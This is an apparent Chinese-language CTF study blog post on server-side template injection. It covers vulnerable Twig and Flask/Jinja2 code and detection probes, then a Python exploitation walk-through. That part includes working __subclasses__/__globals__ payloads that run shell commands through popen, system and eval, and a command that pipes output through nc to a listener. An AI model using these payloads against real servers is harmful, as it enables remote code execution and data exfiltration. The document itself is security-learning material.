SSTI模板注入学习

发布时间 2023-10-28 10:41:57作者: 疯癫兄

一、前言

最近在练ctf的时候遇到了不少模板注入的漏洞,自己对这一块也一直是一知半解的,所以记录一下,对这一块知识也进行一个总结。

二、什么是模板注入

SSTI (服务器端模板注入)是格式化字符串的一个非常好的例子,如今的开发已经形成了非常成熟的 MVC 的模式,我们的输入通过 V 接收,交给 C ,然后由 C 调用 M 或者其他的 C 进行处理,最后再返回给 V ,这样就最终显示在我们的面前了,那么这里的 V 中就大量的用到了一种叫做模板的技术, 这种模板请不要认为只存在于 Python 中 ,感觉网上讲述的都是Python 的 SSTI ,在这之前也给了我非常大的误导(只能说自己没有好好研究,浅尝辄止) ,请记住,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是 ,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

三、 常见的模板引擎

1.php 常用的

Smarty

Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛

Twig

Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。

Blade

Blade 是 Laravel 提供的一个既简单又强大的模板引擎。

和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给你的应用增加任何额外负担。

2.Java 常用的

JSP

这个引擎我想应该没人不知道吧,非常的经典

FreeMarker

FreeMarker是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

Velocity

Velocity作为历史悠久的模板引擎不单单可以替代JSP作为Java Web的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。

3.Python 常用的

Jinja2

flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎

django

django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道 django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了

tornado

tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

4.注意:

同一种语言不同的模板引擎支持的语法虽然很像,但是还是有略微的差异的,比如

tornado render() 中支持传入自定义函数,以及函数的参数,然后在两个大括号

{{}}

中执行,但是 django 的模板引擎相对于tornado 来说就相对难用一些( 当然方便永远和安全是敌人

四、 SSTI 是怎么产生的

1.php

下面以php的twig模板为例,首先上代码。

<?php
  require_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php';
  Twig_Autoloader::register(true);
  $twig = new Twig_Environment(new Twig_Loader_String());
  $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));  // 将用户输入作为模版变量的值
  echo $output;
?>

在这里,我们可以看到了render方法,方法中通过第一个参数载入模板,然后通过第二个参数传入来渲染模板。

我们可以看到,name的两边都被"{{"和"}}"包裹住了,所以无论我们传进去什么值都不会被再次解析,就算我们输入{{7*7}}类似的语句,出现在屏幕上的也只会是{{7*7}}。
另外,也不要以为这里会出现xss,因为模版引擎一般都默认对渲染的变量值进行编码和转义。

但是有些开发者他却不像上面那样写,而是像下面这样写。

<?php
  require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
  Twig_Autoloader::register(true);
  $twig=newTwig_Environment(newTwig_Loader_String());
  $output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分
  echo $output;?>

现在开发者将用户的输入直接放在要渲染的字符串中了,注意,这里$_GET['name']两边的"{" 和 "}"已经不再是上面模板外面的花括号了,这里的用处是为了区分变量和字符串常量。
于是乎我们输入{{7*7}}等payload,符合模板引擎的规则,模板引擎一下子就给解析了,我们构造的各种各样的payload也就被执行了。

2.python

首先是一段flask的代码

@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% extends "layout.html" %%}
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div>
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404

这是一段经典的 flask 源码,@app.errorhandler(404) 这一部分是装饰器,用于检测404用的,和最后的 ,404呼应的,这与我们这次的测试无关。

render_template_string函数用于渲染一个字符串模板,生成最终的错误页面。而字符串就是我们输入的不存在的url呀,于是乎,我们在url后面加速{{7*7}},就会被模板引擎解析,得到49的计算结果。

下面是一个Jinja2的模板引擎的实例

coding: utf-8

import sys
from jinja2 importTemplate

template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()

在这里,代码将字符串"Your input: {}"作为模板字符串传递给它。其中{}表示位置占位符,用于将动态数据插入到模板中。接下来,通过判断sys.argv列表中是否存在命令行参数,来确定需要渲染的数据内容。如果存在命令行参数,则使用参数值替换模板字符串中的占位符;否则,将<empty>作为默认值输出。最后,通过调用模板对象的render()方法将模板渲染为最终的文本输出,并将其打印到控制台中。

通过上面分析我们可以看出来在命令行参数给出我们对应的payload进行执行即可。

3.java

java的实例推荐看一下p神的文章Spring Security OAuth RCE (CVE-2016-4977) 漏洞分析 (seebug.org),p神讲的相当详细了,在这里不再赘述了。

五、检测方法

同常规的 SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是向传递的参数中承载特定 Payload 并根据返回的内容来进行判断的。每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。

比如我们在Twig模板中,{# comment #}是模板的注释符,不会被解析,所以我们可以输入
{# comment #}{{2*8}来进行判断,如果是Twig模板,会在屏幕上输出16,如果不是,则会将我们注释符的内容也输出,从而可以得到如下的流程图:

image.png

在这里同时推荐一些工具https://github.com/epinna/tplmap

vladko312/SSTImap: Automatic SSTI detection tool with interactive interface (github.com)]

六、利用姿势

通过上面我们可以对ssti有一些基础的认识了,现在我们深入探究一下如何利用,下面会以python为例子进行说明。

在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。我们从这段话出发,假定你已经知道ssti漏洞了,但是完全没学过ssti代码怎么写,接下来你可能会学到一点废话。

我们在pycharm中运行代码

print("".__class__)

返回了<class 'str'>,对于一个空字符串他已经打印了str类型,在python中,每个类都有一个bases属性,列出其基类。现在我们写代码。

print("".__class__.__bases__)

打印返回(<class 'object'>,),我们已经找到了他的基类object,而我们想要寻找object类的不仅仅只有bases,同样可以使用 mromro给出了method resolution order,即解析方法调用的顺序。我们实例打印一下mro。

print("".__class__.__mro__)

可以看到返回了(<class 'str'>, <class 'object'>),同样可以找到object类,正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势。正如上面的解释,mro返回了解析方法调用的顺序,将会打印两个。在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。我们这里只举例最简单的。接下来我们增加代码。接下来我们使用subclasses, subclasses () 这个方法,这个方法返回的是这个类的子类的集合,也就是object类的子类的集合。

print("".__class__.__bases__[0].__subclasses__())

python 3.6 版本下的object类下的方法集合。这里要记住一点2.7和3.6版本返回的子类不是一样的,但是2.7有的3.6大部分都有。需要自己寻找合适的标号来调用接下来我将进一步解释。打印如下:

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'functools.partialmethod'>, <class 'enum.auto'>, <enum 'Enum'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_sre.SRE_Pattern'>, <class '_sre.SRE_Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_winapi.Overlapped'>, <class 'subprocess.STARTUPINFO'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

接下来就是我们需要找到合适的类,然后从合适的类中寻找我们需要的方法。通过我们在如上这么多类中一个一个查找,找到我们可利用的类,这里举例一种。<class 'os._wrap_close'>,os命令相信你看到就感觉很亲切。我们正是要从这个类中寻找我们可利用的方法,通过大概猜测找到是第119个类,0也对应一个类,所以这里写[118]。

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118]}}

这个时候我们便可以利用. init .globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__}}

此时我们可以在网页上看到各种各样的参数方法函数。我们找其中一个可利用的function popen,在python2中可找file读取文件,很多可利用方法,详情可百度了解下。

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()}}

此时便可以看到命令已经执行。

下面介绍一下python环境下常用的命令执行方式。

os.system()

用法:os.system(command)
但是用这个无法回显
我们可以用这个

os.popen()

用法:os.popen(command[,mode[,bufsize]])
说明:mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。
popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。
还需要了解一个魔法函数
globals该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

highlighter- Bash

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls ").read()' )


如果os被过滤了可以用

subprocess

1.subprocess.check_call()
Python 2.5中新增的函数。 执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。
2.subprocess.check_output()
Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。
3.subprocess.Popen(“command”)
说明:class subprocess.Popen(args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0)
Popen非常强大,支持多种参数和模式,通过其构造函数可以看到支持很多参数。但Popen函数存在缺陷在于,它是一个阻塞的方法,如果运行cmd命令时产生内容非常多,函数就容易阻塞。另一点,Popen方法也不会打印出cmd的执行信息。

__init__方法

__init__方法用于将对象实例化,在这个函数下我们可以通过funcglobals(或者__globals)看该模块下有哪些globals函数(注意返回的是字典),而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。
组合payload:

highlighter- Bash

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
e62b7adab33a40c6b6f483c31505f0f6
e62b7adab33a40c6b6f483c31505f0f6

无回显处理

当我们用os命令执行没回显时,可以用nc把回显发到vps上

highlighter- CSS

vps:nc -lvp 1234
payload: ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls | nc 127.0.0.1 1234')

highlighter- Dockerfile

#vps接收到回显
root@iZwz91vrssa7zn3rzmh3cuZ:~# nc -lvp 123
Listening on [0.0.0.0] (family 0, port 1234)
Connection from [xx.xxx.xx.xx] port 1234 [tcp/*] accepted (family 2, sport 46258)
app.py
ap.py
Config.py

反弹shell也是一样,有了命令执行,反弹shell应该是很方便了。

关于更多的利用姿势,绕过过滤等等,可以参考CTF SSTI(服务器模板注入) - MustaphaMond - 博客园 (cnblogs.com)

一些参考: